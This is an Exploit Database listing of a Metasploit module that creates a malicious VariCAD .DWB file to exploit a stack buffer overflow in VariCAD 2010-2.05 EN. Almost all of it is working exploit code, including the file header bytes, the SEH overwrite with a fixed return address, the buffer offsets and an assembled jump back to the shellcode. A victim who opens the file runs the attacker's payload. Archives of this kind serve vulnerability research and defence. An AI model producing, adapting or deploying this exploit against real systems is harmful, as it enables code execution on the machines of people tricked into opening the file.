VariCAD 2010-2.05 EN – ‘.DWB’ Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-04-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16644/

• ##
  # $Id: varicad_dwb.rb 9020 2010-04-05 20:45:21Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
  				An attacker must send the file to victim and the victim must open the file.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' 	 =>
  				[
  					'n00b',# first public exploit
  					'dookie',# metasploit first pass
  					'MC',# cleanup pass 1 & second offset
  					'jduck'# cleanup pass 2 & combined offsets
  				],
  			'Version'=> '$Revision: 9020 $',
  			'References' =>
  				[
  					[ 'OSVDB', '63067' ],
  					[ 'BID', '38815' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/11789' ]
  				],
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x0a\x3d",
  					'StackAdjustment' => -3500,
  				},
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Mar 17 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.dwb']),
  			], self.class)
  	end
  
  	def exploit
  
  		header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
  		sploit = rand_text_alpha_upper(1000) * 50
  
  		# Add SEH frames..
  		seh = generate_seh_record(target.ret)
  		offsets = [ 26252, 22856 ]
  		sploit[0,payload.encoded.length] = payload.encoded
  		offsets.each { |off|
  			sploit[off,seh.length] = seh
  			distance = seh.length + off
  			jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
  			sploit[off+seh.length,jmp.length] = jmp
  		}
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(header + sploit)
  
  	end
  
  end